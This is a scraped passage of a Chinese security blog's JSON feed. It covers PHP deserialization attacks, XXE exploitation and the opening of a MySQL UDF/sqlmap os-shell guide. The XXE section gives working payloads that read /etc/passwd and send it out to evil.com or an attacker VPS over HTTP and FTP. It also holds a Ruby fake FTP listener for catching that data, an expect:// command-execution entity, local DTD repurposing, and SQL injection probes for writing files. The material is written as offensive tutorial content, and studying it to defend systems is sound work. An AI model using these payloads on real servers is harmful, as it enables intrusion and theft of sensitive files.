Metadata，自动执行 unserialize()，触发 POP 链。 session反序列化 核心原理： PHP 存储 Session 数据有不同的“处理器（Handler）”。如果写入 Session 和 读取 Session 使用了不同的处理器，数据格式就会被误读，从而产生反序列化漏洞。\n常见处理器差异：\nphp (默认)：格式为 键名 | 序列化数据。例如：name|s:5:\u0026quot;alice\u0026quot;; php_serialize：格式为 经过 serialize() 的整个数组。例如：a:1:{s:4:\u0026quot;name\u0026quot;;s:5:\u0026quot;alice\u0026quot;;} 攻击逻辑（只有 php_serialize 写，php 读）：\n攻击者传入数据：|O:4:\u0026quot;User\u0026quot;:1:{...}（注意开头的竖线）。 写入时（php_serialize）：PHP 把它当做普通字符串保存。 读取时（php）：PHP 看到竖线 |，认为竖线前面是键名（为空），后面是需要反序列化的值。 结果：恶意的序列化字符串被还原成了对象。 原生类利用 1. SoapClient (SSRF + CRLF 注入) 场景： 目标服务器没有对外网的访问权限，但你想探测内网。 利用： SoapClient 的 __call 方法在调用不存在的方法时，会发起网络请求。通过构造 User-Agent 等参数，可以进行 SSRF 攻击，甚至利用 CRLF 注入攻击 Redis。\n2. Error / Exception (XSS) 场景： 想要执行 XSS，但找不到 echo 点。 利用： 这两个类都有 __toString 方法。当你反序列化一个 Error 对象并试图打印它时，它会输出报错信息（可能包含 HTML 标签），从而触发 XSS。\n3. SplFileObject (任意文件读取) 场景： 需要读取敏感文件。 利用： 该类在构造时可以直接打开文件，配合 __toString 或遍历操作可以读取文件内容。\n绕过 1. __wakeup 绕过 (CVE-2016-7124) 原理： 在 PHP 5 \u0026lt; 5.6.25 和 PHP 7 \u0026lt; 7.0.10 版本中，如果序列化字符串中表示对象属性个数的值大于真实的属性个数，__wakeup() 方法将不会被执行。\n实战用法： 很多安全代码会在 __wakeup 中清空恶意属性（如重置数据库连接）。\n正常：O:4:\u0026quot;User\u0026quot;:1:{s:4:\u0026quot;name\u0026quot;;s:5:\u0026quot;admin\u0026quot;;} (属性个数为 1) 绕过：O:4:\u0026quot;User\u0026quot;:2:{s:4:\u0026quot;name\u0026quot;;s:5:\u0026quot;admin\u0026quot;;} (改为 2，绕过 __wakeup) 2. 快速析构 (Fast Destruct) 原理： 正常情况下，对象在脚本执行结束时销毁。但如果我们在反序列化过程中让程序报错或结构异常，对象会被立即销毁，触发 __destruct。\n场景： 如果后续代码会检测并清空你的恶意对象，或者 throw Exception 中断执行，你需要在这个检查之前就触发 __destruct。 做法： 修改序列化数组的下标，或者移除结尾的大括号，制造语法错误。\n3. GC (垃圾回收) 触发 原理： 利用数组的引用赋值（例如让数组的某个元素引用数组本身），在反序列化完成后，由于引用计数机制，对象会被判定为垃圾而提前销毁。这是一种极其隐蔽的触发 __destruct 的方式。\n实战工具：PHPGGC PHPGGC (PHP Generic Gadget Chains) 是反序列化领域的“瑞士军刀”。它集成了 Laravel, Symfony, ThinkPHP, Yii 等主流框架的现成利用链。\n","permalink":"https://h4xk0r.github.io/posts/php_serialize/","summary":"\u003cp\u003e距离第一次学习php反序列已经很长时间了，初次学习时就学的迷迷糊糊，有很多理解不到位的地方，正好最近有时间打算回过头重新开始学习一遍，理解不到位之处请各位大佬多多指正。\u003c/p\u003e\n\u003ch3 id=\"为什么需要序列化和反序列化\"\u003e为什么需要序列化和反序列化？\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e网络传输只能处理位流(Bytes)\u003c/strong\u003e , 当你在java,php,python中定义一个复杂的用户对象，但是路由器并不认识，只能通过序列化成字符串的方式以字节流的方式传输，传输流程大致如下：\u003c/p\u003e\n\u003cp\u003e服务器对象\u0026ndash;\u0026gt; 序列化\u0026ndash;\u0026gt; 字节流\u0026ndash;\u0026gt; 网络传输\u0026ndash;\u0026gt; 反序列化\u0026ndash;\u0026gt; 客户端\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e内存(RAM)易失\u003c/strong\u003e，程序运行在内存中，一旦断电，关闭数据就会消失\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"php中的序列化反序列化函数\"\u003ephp中的序列化反序列化函数\u003c/h3\u003e\n\u003cp\u003e序列化：\u003ccode\u003eserialize()\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e反序列化：\u003ccode\u003eunserialize()\u003c/code\u003e\u003c/p\u003e\n\u003ch3 id=\"漏洞利用\"\u003e漏洞利用\u003c/h3\u003e\n\u003cp\u003e前提:  服务端(不论是当前代码还是所包含的代码中)必须要有对象(序列化形式)所对应的类, 否则无法反序列化\u003c/p\u003e\n\u003cp\u003e例如: \u003ccode\u003epayload:O:1:\u0026quot;**S**\u0026quot;:1:{s:4:\u0026quot;test\u0026quot;;s:29:\u0026quot;\u0026lt;script\u0026gt;alert('xss')\u0026lt;/script\u0026gt;\u0026quot;;} \u003c/code\u003e这时候如果服务端没有一个叫做S的类, 就会反序列化失败\u003c/p\u003e\n\u003cp\u003e所以说, 想要发起反序列化攻击, 必要条件之一: 必须知道服务端有哪些类\u003c/p\u003e\n\u003ch3 id=\"魔术方法\"\u003e魔术方法\u003c/h3\u003e\n\u003cp\u003e注:加黑重点关注\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003cstrong\u003e魔术方法\u003c/strong\u003e\u003c/th\u003e\n          \u003cth\u003e\u003cstrong\u003e描述\u003c/strong\u003e\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__construct()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e构造方法\u003c/strong\u003e，当对象被实例化（\u003ccode\u003enew\u003c/code\u003e）时自动调用。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__destruct()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e析构方法\u003c/strong\u003e，当对象被销毁时自动调用。反序列化攻击中最常见的入口。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__call()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e在对象上下文中调用一个\u003cstrong\u003e不可访问或不存在的方法\u003c/strong\u003e时触发。常用的跳板。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__callStatic()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e在静态上下文中调用一个\u003cstrong\u003e不可访问或不存在的方法\u003c/strong\u003e时触发。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__get()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e读取对象中\u003cstrong\u003e不可访问（未定义或私有）的属性\u003c/strong\u003e时触发。常用的跳板。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__set()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e写入对象中\u003cstrong\u003e不可访问（未定义或私有）的属性\u003c/strong\u003e时触发。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__isset()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e使用 \u003ccode\u003eisset()\u003c/code\u003e 或 \u003ccode\u003eempty()\u003c/code\u003e 检查对象中不可访问的属性时触发。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__unset()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e使用 \u003ccode\u003eunset()\u003c/code\u003e 删除对象中不可访问的属性时触发。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__sleep()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当对象被 \u003ccode\u003eserialize()\u003c/code\u003e 序列化前触发，通常用于返回需要被序列化的属性列表。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__wakeup()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当对象被 \u003ccode\u003eunserialize()\u003c/code\u003e 反序列化时触发，常用于初始化资源。反序列化的“点火开关”。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__toString()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当对象被转换成\u003cstrong\u003e字符串\u003c/strong\u003e（如 \u003ccode\u003eecho\u003c/code\u003e 或拼接）时自动调用。核心跳板。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__invoke()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当尝试以\u003cstrong\u003e函数方式调用对象\u003c/strong\u003e（如 \u003ccode\u003e$obj()\u003c/code\u003e）时触发。常用的跳板。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__clone()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当对象使用 \u003ccode\u003eclone\u003c/code\u003e 关键字被克隆时调用。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__serialize()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePHP 7.4+ 引入。序列化前触发，优先级高于 \u003ccode\u003e__sleep\u003c/code\u003e。返回一个包含对象数据的数组。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__unserialize()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePHP 7.4+ 引入。反序列化后触发，优先级高于 \u003ccode\u003e__wakeup\u003c/code\u003e。用于恢复对象状态。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__set_state()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当使用 \u003ccode\u003evar_export()\u003c/code\u003e 导出类时触发。必须是静态方法，返回类实例。\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e__debugInfo()\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e当使用 \u003ccode\u003evar_dump()\u003c/code\u003e 打印对象信息时触发，用于控制显示的属性。\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e1、 \u003ccode\u003e__construct()\u003c/code\u003e 和 \u003ccode\u003e__destruct()\u003c/code\u003e\u003c/p\u003e","title":"PHP反序列化"},{"content":"XML漏洞 理论： xml是一种用来传输和存储数据的格式，长得有些像HTML\n\u0026lt;user\u0026gt; \u0026lt;username\u0026gt;admin\u0026lt;/username\u0026gt; \u0026lt;role\u0026gt;manager\u0026lt;/role\u0026gt; \u0026lt;/user\u0026gt; 要学习XML就要先学习DTD\n什么是DTD？\nDTD（文档类型定义）使用来定义xml文档的合法结构。重点在于DTD允许定义实体也就是Entity，而他也就是漏洞的根源\n他有些像编程语言中的变量，举两个例子\n内部实体 \u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY name \u0026#34;h4xk0r\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;root\u0026gt;Hello \u0026amp;name;\u0026lt;/root\u0026gt; 外部实体----这是漏洞的核心，xml允许从外部通过url或文件路径加载数据 语法关键字 SYSTEM 或 PUBLIC \u0026lt;!DOCTYPE root[ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;root\u0026gt;\u0026amp;xxe;\u0026lt;root\u0026gt; 如果在实际过程中后端接收了你的XML，并且解析了\u0026amp;xxe这个变量，那么就可以通过构造SYSTEM后面的路径，让服务器读取文件，探测内网 实战向： 怎么去寻找漏洞点： 显式的XML接口：\n如果请求头是 Content-Type: application/xml 或 text/xml，且数据包体是 XML，那么可以直接插入payload进行测试，但是感觉现在很少了\n隐式接口（content-Type欺骗）：\n假设一个api接口是这样的： POST /api/login HTTP/1.1 Content-Type: application/json {\u0026#34;user\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;pass\u0026#34;: \u0026#34;123\u0026#34;} 很多框架为了兼容性，会根据Content-Type切换解析器，所以我们构造payload POST /api/login HTTP/1.1 Content-Type: application/xml \u0026lt;-- 修改这里 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;user\u0026gt;admin\u0026lt;/user\u0026gt; \u0026lt;pass\u0026gt;123\u0026lt;/pass\u0026gt; 如果这时候服务器没有报错说明支持xml格式，那么就可以构造payload测试xxe漏洞了 文件上传（SVG与office）\u0026ndash;这个是比较容易被忽视的点\nsvg： 是一种图片格式的矢量图。微信头像，网站logo上传处\nExecl/Word（.xlsx/.docx）: 本质是ZIP包，解压后是XML。 简历上传，报表导入处\n实战payload 情况一：\n有回显的文件读取，页面会直接打印出来输入的命令\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;userHeader\u0026gt; \u0026lt;userName\u0026gt;\u0026amp;xxe;\u0026lt;/userName\u0026gt; \u0026lt;/userHeader\u0026gt; windows用file:///c:/windows/win.ini 情况二：\nSSRF内网探测端口或者web\n\u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;http://192.168.1.1:80/admin\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;user\u0026gt;\u0026amp;xxe;\u0026lt;/user\u0026gt; 情况三：\n盲注（OOB/Blind XXE）\u0026ndash; 常见\n页面不返回任何内容则需要使用带外攻击（OOB），这里需要参数实体，语法用%而不是\u0026amp;\n步骤如下：\nvps上http://example.com下创建文件evil.dtd内容如下\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; exfiltrate SYSTEM \u0026#39;http://evil.com/?data=%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; (注意：% 是 % 的 HTML 转义，为了防止嵌套解析错误)\n发送payload (访问自己开的网站)\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY % xxe SYSTEM \u0026#34;http://evil.com/evil.dtd\u0026#34;\u0026gt; %xxe; %exfiltrate; ]\u0026gt; \u0026lt;root\u0026gt;\u0026lt;/root\u0026gt; 原理解析：\n目标去指定的位置解析去找了我们vps上的文件，加载DTD文件，读取文件存入%file，目标发送请求，我们就可以在web日志中看到敏感文件\n扩展：svg图片上传payload\n创建svg文件，内容如下：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; standalone=\u0026#34;yes\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE test [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/hostname\u0026#34; \u0026gt; ]\u0026gt; \u0026lt;svg width=\u0026#34;128px\u0026#34; height=\u0026#34;128px\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34; version=\u0026#34;1.1\u0026#34;\u0026gt; \u0026lt;text font-size=\u0026#34;16\u0026#34; x=\u0026#34;0\u0026#34; y=\u0026#34;16\u0026#34;\u0026gt;\u0026amp;xxe;\u0026lt;/text\u0026gt; \u0026lt;/svg\u0026gt; 查看图片上是否有水印\n特殊技巧及绕过 技巧： 如果遇到php环境，有可能安装expect扩展，比较少见，但是成功可以直接RCE! \u0026lt;!ENTITY xxe SYSTEM \u0026#34;expect://id\u0026#34;\u0026gt; Excel/Word\n解压软件手动改容易破坏文件结构，建议使用Oxml_xxe这种专门的工具，编辑完xml后重新打包整个目录\n绕过： 技巧一： php的base64编码读取 ，为了应对读取的文件中包含特殊字符 \u0026lt;!ENTITY xxe SYSTEM \u0026#34;php://filter/read=convert.base64-encode/resource=/etc/passwd\u0026#34;\u0026gt; 技巧二： CDATA绕过 如果不能用 Base64（比如 Java 环境），读取包含 XML 特殊字符的文件会报错。可以使用 CDATA 包裹数据。 需要配合外部 DTD 配合，通常用于 Blind XXE 中读取复杂的配置文件（如 web.xml）。\n具体实现方法如下：\nvps上的web目录创建evil.dtd文件 \u0026lt;!ENTITY % start \u0026#34;\u0026lt;![CDATA[\u0026#34;\u0026gt; \u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///etc/etc/passwd\u0026#34;\u0026gt; \u0026lt;!ENTITY % end \u0026#34;]]\u0026gt;\u0026#34;\u0026gt; \u0026lt;!ENTITY % all \u0026#34;\u0026lt;!ENTITY \u0026amp;#x26; res \u0026#39;%start;%file;%end;\u0026#39;\u0026gt;\u0026#34;\u0026gt; 在目标网站发送请求 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://evil.com/evil.dtd\u0026#34;\u0026gt; %remote; %all; ]\u0026gt; \u0026lt;root\u0026gt;\u0026amp;res;\u0026lt;/root\u0026gt; 原理解析：\n目标服务器读取并且解析xml，读取了dtd文件，在内存中：\n%start; 变成了 \u0026lt;![CDATA[ %file; 变成了 /etc/fstab 的真实内容 %end; 变成了 ]]\u0026gt; 执行 %all; 时，它在内部定义了一个普通的文本实体 \u0026amp;res;，其值为： \u0026lt;![CDATA[ ...文件内容... ]]\u0026gt;\n最后在 \u0026lt;root\u0026gt;\u0026amp;res;\u0026lt;/root\u0026gt; 中，由于内容被 CDATA 包裹，XML 解析器会直接把它当作一段文本输出，而不会因为文件里有 \u0026lt; 符号而报错。\n那这个时候又有一个问题，如果没有回显怎么办？\n方法一：\n报错注入，利用不完整的dtd文件诱发解析器错误，将读取到的内容显示在报错信息中，修改dtd内容如下：\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; error SYSTEM \u0026#39;file:///nonexistent/%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %error; 服务器会因为找不到 /nonexistent/root:x:0... 这个文件而报错，而报错信息中就包含我们想要的信息\n方法二：\n利用FTP协议（java环境特有）\nJava 的 XML 解析器支持通过 FTP 协议外带数据。由于 FTP 允许传输包含换行和特殊字符的原始数据，这种方法比 HTTP 稳定得多。\n使用工具（如 ruby_ftp_server.rb）在 VPS 启动一个模拟 FTP 监听。\nPayload 修改为 SYSTEM \u0026quot;ftp://evil.com:21/%file;\u0026quot;。\n手动复现步骤如下：\n准备：需要一个能记录客户端 RETR 命令的“伪 FTP 服务器”\n在vps上启动伪FTP监听，运行脚本.rb\nrequire \u0026#39;socket\u0026#39; server = TCPServer.new 2121 # 监听2121端口 puts \u0026#34;Fake FTP server started on port 2121...\u0026#34; loop do Thread.start(server.accept) do |client| puts \u0026#34;Client connected.\u0026#34; client.puts \u0026#34;220 Fake FTP Server Ready\u0026#34; loop do gets = client.gets puts \u0026#34;Received: #{gets}\u0026#34; # 这里会打印出包含文件内容的请求 if gets.start_with? \u0026#34;USER\u0026#34; client.puts \u0026#34;331 Password required\u0026#34; elsif gets.start_with? \u0026#34;PASS\u0026#34; client.puts \u0026#34;230 User logged in\u0026#34; elsif gets.start_with? \u0026#34;RETR\u0026#34; client.puts \u0026#34;550 File not found\u0026#34; # 拒绝下载，但我们已经拿到了文件名 break else client.puts \u0026#34;200 OK\u0026#34; end end client.close end end 在vps上准备外部DTD文件\n\u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; exfiltrate SYSTEM \u0026#39;ftp://47.x.x.x:2121/%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %exfiltrate; 发送payload\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://47.x.x.x/evil.dtd\u0026#34;\u0026gt; %remote; ]\u0026gt; \u0026lt;root\u0026gt;test\u0026lt;/root\u0026gt; 此时观察终端脚本的返回内容，就会返回想要的数据了\n如果以上方法都不行那还有一种方法：\n**技巧三：**DTD文件重写 原理：XML 允许在 DOCTYPE 中通过 INTERNAL SUBSET（内部子集）来重新定义已经在外部 DTD 中声明过的实体。并且解释器会优先使用我们的定义\n步骤如下：\n寻找DTD文件（常见路径如下） Linux (Ubuntu/Debian)/usr/share/xml/fontconfig/fonts.dtd Linux (RHEL/CentOS)/usr/share/sgml/docbook/xml-dtd-4.3-1.0-25.el7/ent/isogrk2.ent WindowsC:\\Windows\\System32\\wbem\\xml\\cim20.dtd Java 应用服务器很多自带的 Jar 包里也有，如 hibernate-mapping-3.0.dtd 验证：发送以下payload进行尝试\n\u0026lt;!DOCTYPE root SYSTEM \u0026#34;/usr/share/xml/fontconfig/fonts.dtd\u0026#34;\u0026gt; \u0026lt;root\u0026gt;test\u0026lt;/root\u0026gt; 构造payload\n假设我们确认目标服务器（Linux）存在 /usr/share/xml/fontconfig/fonts.dtd 这个文件。\n这个 fonts.dtd 内部定义了一个名为 constant 的实体。我们进行重写\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % local_dtd SYSTEM \u0026#34;file:///usr/share/xml/fontconfig/fonts.dtd\u0026#34;\u0026gt; \u0026lt;!ENTITY % constant \u0026#39; \u0026lt;!ENTITY \u0026amp;#x25; file SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; \u0026lt;!ENTITY \u0026amp;#x25; eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x26;#x25; error SYSTEM \u0026amp;#x27;file:///nonexistent/\u0026amp;#x25;file;\u0026amp;#x27;\u0026gt;\u0026#34;\u0026gt; \u0026amp;#x25;eval; \u0026amp;#x25;error; \u0026#39;\u0026gt; %local_dtd; ]\u0026gt; \u0026lt;root\u0026gt;test\u0026lt;/root\u0026gt; 注意细节：\n三重转义：注意 \u0026amp;#x25;。这是因为我们在实体内部定义实体，又在嵌套内定义报错实体。每一层解析都需要多一重转义，否则 XML 解析器在第一层就会“炸掉”。\n引号问题：最外层用单引号 '，内部用双引号 \u0026quot;。\n","permalink":"https://h4xk0r.github.io/posts/xml/","summary":"\u003ch1 id=\"xml漏洞\"\u003eXML漏洞\u003c/h1\u003e\n\u003ch2 id=\"理论\"\u003e理论：\u003c/h2\u003e\n\u003cp\u003exml是一种用来传输和存储数据的格式，长得有些像HTML\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;user\u0026gt;\n\t\u0026lt;username\u0026gt;admin\u0026lt;/username\u0026gt;\n\t\u0026lt;role\u0026gt;manager\u0026lt;/role\u0026gt;\n\u0026lt;/user\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要学习XML就要先学习DTD\u003c/p\u003e\n\u003cp\u003e什么是DTD？\u003c/p\u003e\n\u003cp\u003eDTD（文档类型定义）使用来定义xml文档的合法结构。重点在于DTD允许定义实体也就是\u003cstrong\u003eEntity\u003c/strong\u003e，而他也就是漏洞的根源\u003c/p\u003e\n\u003cp\u003e他有些像编程语言中的变量，举两个例子\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e内部实体   \n\u0026lt;!DOCTYPE root [\n\t\u0026lt;!ENTITY name \u0026#34;h4xk0r\u0026#34;\u0026gt;\n]\u0026gt;\n\u0026lt;root\u0026gt;Hello \u0026amp;name;\u0026lt;/root\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e外部实体----这是漏洞的核心，xml允许从外部通过url或文件路径加载数据\n语法关键字 SYSTEM 或 PUBLIC\n\n\u0026lt;!DOCTYPE root[\n\t\u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt;\n]\u0026gt;\n\u0026lt;root\u0026gt;\u0026amp;xxe;\u0026lt;root\u0026gt;\n\n如果在实际过程中后端接收了你的XML，并且解析了\u0026amp;xxe这个变量，那么就可以通过构造SYSTEM后面的路径，让服务器读取文件，探测内网\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"实战向\"\u003e实战向：\u003c/h2\u003e\n\u003ch3 id=\"怎么去寻找漏洞点\"\u003e怎么去寻找漏洞点：\u003c/h3\u003e\n\u003cp\u003e显式的XML接口：\u003c/p\u003e\n\u003cp\u003e如果请求头是 \u003ccode\u003eContent-Type: application/xml\u003c/code\u003e 或 \u003ccode\u003etext/xml\u003c/code\u003e，且数据包体是 XML，那么可以直接插入payload进行测试，但是感觉现在很少了\u003c/p\u003e\n\u003cp\u003e隐式接口（content-Type欺骗）：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e假设一个api接口是这样的：\nPOST /api/login HTTP/1.1\nContent-Type: application/json\n\n{\u0026#34;user\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;pass\u0026#34;: \u0026#34;123\u0026#34;}\n\n很多框架为了兼容性，会根据Content-Type切换解析器，所以我们构造payload\n\nPOST /api/login HTTP/1.1\nContent-Type: application/xml  \u0026lt;-- 修改这里\n\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt;\n\u0026lt;user\u0026gt;admin\u0026lt;/user\u0026gt;\n\u0026lt;pass\u0026gt;123\u0026lt;/pass\u0026gt;\n\n如果这时候服务器没有报错说明支持xml格式，那么就可以构造payload测试xxe漏洞了\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e文件上传（SVG与office）\u0026ndash;这个是比较容易被忽视的点\u003c/p\u003e\n\u003cp\u003esvg： 是一种图片格式的矢量图。微信头像，网站logo上传处\u003c/p\u003e\n\u003cp\u003eExecl/Word（.xlsx/.docx）: 本质是ZIP包，解压后是XML。 简历上传，报表导入处\u003c/p\u003e","title":"XML 漏洞详解"},{"content":"UDF (\u0026ndash;os-shell) 利用条件 数据库为DBA,可以使用sqlmap的--is-dba查看当前网站连接的数据库账户是否是管理员\nsecure_file_priv没有具体值\n查找: 1. --sql-shell 1. 进入数据库后: SHOW VARS LIKE \u0026#39;secure_file_priv\u0026#39;; 2. 盲注:使用length()函数推测: ?id=1 AND (SELECT @@secure_file_priv) IS NULL 返回正常则null,无法写入 页面异常则,则不是null 判断是否为空: ?id=1 AND length(@@secure_file_priv) = 0\t页面正常则为空 3. 尝试写入文件: ?id=1 INTO OUTFILE \u0026#39;/var/www/html/test.txt\u0026#39; -- 根据报错信息判断 4.权限检查: ?id=1 AND (SELECT user_privileges FROM information_schema.user_privileges WHERE privilege_type=\u0026#39;FILE\u0026#39; AND grantee=CONCAT(\u0026#34;\u0026#39;\u0026#34;, (SELECT CURRENT_USER()), \u0026#34;\u0026#39;\u0026#34;)) IS NOT NULL\t即使secure_file_priv为空,用户没有FILE权限,也无法写入 或者 AND (SELECT 1 FROM mysql.user LIMIT 1)，如果能访问 mysql 库，通常意味着是高权限。 知道网站的绝对路径\n查找: 1. 注入报错信息 2. 利用内部函数和元数据: Apache (Ubuntu): UNION SELECT 1, load_file(\u0026#39;/etc/apache2/sites-enabled/000-default.conf\u0026#39;), 3 Nginx: UNION SELECT 1, load_file(\u0026#39;/etc/nginx/nginx.conf\u0026#39;), 3 Windows (IIS): C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config 3.常见的默认路径: Linux (Apache)\t/var/www/html/, /var/www/www.example.com/ Linux (Nginx)\t/usr/share/nginx/html/, /var/www/html/ Windows (IIS)\tC:\\inetpub\\wwwroot\\ Windows (XAMPP)\tC:\\xampp\\htdocs\\ Windows (phpStudy)\tD:\\phpstudy_pro\\WWW\\, C:\\phpStudy\\WWW\\ 漏洞复现 方法一: \u0026ndash;os-shell\n方法二: 手动构造\n1. -- 查看架构（确定是 Windows/Linux 及 x64/x86） show variables like \u0026#39;%compile%\u0026#39;; 2. -- 查看插件存放目录 show variables like 